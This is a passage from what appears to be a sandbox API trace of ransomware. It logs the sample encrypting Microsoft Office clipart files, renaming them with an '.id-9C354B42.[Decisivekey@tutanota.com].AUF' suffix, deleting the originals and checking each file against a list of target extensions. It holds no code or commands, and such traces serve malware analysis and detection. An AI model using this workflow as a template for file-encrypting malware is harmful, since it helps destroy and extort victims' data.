lpNumberOfBytesWritten=0x23dfc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0216.604] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.604] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.604] SetEndOfFile (hFile=0x21c) returned 1 [0216.604] CloseHandle (hObject=0x21c) returned 1 [0216.605] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.605] SetEndOfFile (hFile=0x1f8) returned 1 [0216.605] CloseHandle (hObject=0x1f8) returned 1 [0216.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0216.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0216.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0216.611] lstrlenW (lpString=".doc") returned 4 [0216.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.611] lstrlenW (lpString=".docx") returned 5 [0216.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.611] lstrlenW (lpString=".pdf") returned 4 [0216.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.611] lstrlenW (lpString=".xls") returned 4 [0216.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.611] lstrlenW (lpString=".xlsx") returned 5 [0216.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.611] lstrlenW (lpString=".ppt") returned 4 [0216.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0216.611] lstrlenW (lpString=".zip") returned 4 [0216.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.611] lstrlenW (lpString=".rar") returned 4 [0216.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.611] lstrlenW (lpString=".bz2") returned 4 [0216.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.611] lstrlenW (lpString=".7z") returned 3 [0216.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0216.611] lstrlenW (lpString=".dbf") returned 4 [0216.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0216.611] lstrlenW (lpString=".1cd") returned 4 [0216.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0216.612] lstrlenW (lpString=".jpg") returned 4 [0216.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.612] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.612] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.613] GetLastError () returned 0x0 [0216.613] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x10c8, lpOverlapped=0x0) returned 1 [0216.634] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x10d0, lpOverlapped=0x0) returned 1 [0216.635] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.635] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.635] SetEndOfFile (hFile=0x210) returned 1 [0216.635] CloseHandle (hObject=0x210) returned 1 [0216.636] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.636] SetEndOfFile (hFile=0x194) returned 1 [0216.636] CloseHandle (hObject=0x194) returned 1 [0216.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0216.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0216.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0216.637] lstrlenW (lpString=".doc") returned 4 [0216.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.637] lstrlenW (lpString=".docx") returned 5 [0216.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.637] lstrlenW (lpString=".pdf") returned 4 [0216.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.637] lstrlenW (lpString=".xls") returned 4 [0216.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.637] lstrlenW (lpString=".xlsx") returned 5 [0216.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.637] lstrlenW (lpString=".ppt") returned 4 [0216.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0216.637] lstrlenW (lpString=".zip") returned 4 [0216.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.637] lstrlenW (lpString=".rar") returned 4 [0216.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.637] lstrlenW (lpString=".bz2") returned 4 [0216.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.637] lstrlenW (lpString=".7z") returned 3 [0216.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0216.637] lstrlenW (lpString=".dbf") returned 4 [0216.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0216.637] lstrlenW (lpString=".1cd") returned 4 [0216.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0216.637] lstrlenW (lpString=".jpg") returned 4 [0216.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.643] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.644] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.644] GetLastError () returned 0x0 [0216.644] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1306, lpOverlapped=0x0) returned 1 [0216.657] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1310, lpOverlapped=0x0) returned 1 [0216.658] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.658] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.658] SetEndOfFile (hFile=0x210) returned 1 [0216.658] CloseHandle (hObject=0x210) returned 1 [0216.658] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.658] SetEndOfFile (hFile=0x194) returned 1 [0216.659] CloseHandle (hObject=0x194) returned 1 [0216.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0216.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0216.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0216.660] lstrlenW (lpString=".doc") returned 4 [0216.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.660] lstrlenW (lpString=".docx") returned 5 [0216.660] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.660] lstrlenW (lpString=".pdf") returned 4 [0216.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.660] lstrlenW (lpString=".xls") returned 4 [0216.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.660] lstrlenW (lpString=".xlsx") returned 5 [0216.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.660] lstrlenW (lpString=".ppt") returned 4 [0216.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0216.660] lstrlenW (lpString=".zip") returned 4 [0216.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.660] lstrlenW (lpString=".rar") returned 4 [0216.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.660] lstrlenW (lpString=".bz2") returned 4 [0216.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.660] lstrlenW (lpString=".7z") returned 3 [0216.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0216.660] lstrlenW (lpString=".dbf") returned 4 [0216.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0216.660] lstrlenW (lpString=".1cd") returned 4 [0216.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0216.660] lstrlenW (lpString=".jpg") returned 4 [0216.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.660] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=11636) returned 1 [0216.660] CloseHandle (hObject=0x194) returned 1 [0216.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0216.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.661] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.661] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.661] GetLastError () returned 0x0 [0216.661] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x2d74, lpOverlapped=0x0) returned 1 [0216.674] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0216.675] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.675] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.675] SetEndOfFile (hFile=0x210) returned 1 [0216.676] CloseHandle (hObject=0x210) returned 1 [0216.676] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.676] SetEndOfFile (hFile=0x194) returned 1 [0216.676] CloseHandle (hObject=0x194) returned 1 [0216.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0216.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0216.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0216.677] lstrlenW (lpString=".doc") returned 4 [0216.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.677] lstrlenW (lpString=".docx") returned 5 [0216.677] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.677] lstrlenW (lpString=".pdf") returned 4 [0216.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.677] lstrlenW (lpString=".xls") returned 4 [0216.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.677] lstrlenW (lpString=".xlsx") returned 5 [0216.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.677] lstrlenW (lpString=".ppt") returned 4 [0216.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0216.677] lstrlenW (lpString=".zip") returned 4 [0216.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.677] lstrlenW (lpString=".rar") returned 4 [0216.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.677] lstrlenW (lpString=".bz2") returned 4 [0216.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.677] lstrlenW (lpString=".7z") returned 3 [0216.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0216.677] lstrlenW (lpString=".dbf") returned 4 [0216.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0216.677] lstrlenW (lpString=".1cd") returned 4 [0216.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0216.677] lstrlenW (lpString=".jpg") returned 4 [0216.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.678] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=16180) returned 1 [0216.678] CloseHandle (hObject=0x194) returned 1 [0216.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0216.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.678] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.678] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0216.678] GetLastError () returned 0x0 [0216.678] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x3f34, lpOverlapped=0x0) returned 1 [0216.689] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x3f40, lpOverlapped=0x0) returned 1 [0216.690] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.690] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.690] SetEndOfFile (hFile=0x210) returned 1 [0216.690] CloseHandle (hObject=0x210) returned 1 [0216.690] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.690] SetEndOfFile (hFile=0x194) returned 1 [0216.691] CloseHandle (hObject=0x194) returned 1 [0216.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0216.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0216.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0216.691] lstrlenW (lpString=".doc") returned 4 [0216.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.691] lstrlenW (lpString=".docx") returned 5 [0216.691] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.691] lstrlenW (lpString=".pdf") returned 4 [0216.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.691] lstrlenW (lpString=".xls") returned 4 [0216.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.691] lstrlenW (lpString=".xlsx") returned 5 [0216.691] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.691] lstrlenW (lpString=".ppt") returned 4 [0216.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0216.692] lstrlenW (lpString=".zip") returned 4 [0216.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.692] lstrlenW (lpString=".rar") returned 4 [0216.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.692] lstrlenW (lpString=".bz2") returned 4 [0216.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.692] lstrlenW (lpString=".7z") returned 3 [0216.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0216.692] lstrlenW (lpString=".dbf") returned 4 [0216.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0216.692] lstrlenW (lpString=".1cd") returned 4 [0216.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0216.692] lstrlenW (lpString=".jpg") returned 4 [0216.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.692] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=16112) returned 1 [0216.692] CloseHandle (hObject=0x194) returned 1 [0216.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0216.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.693] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.693] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 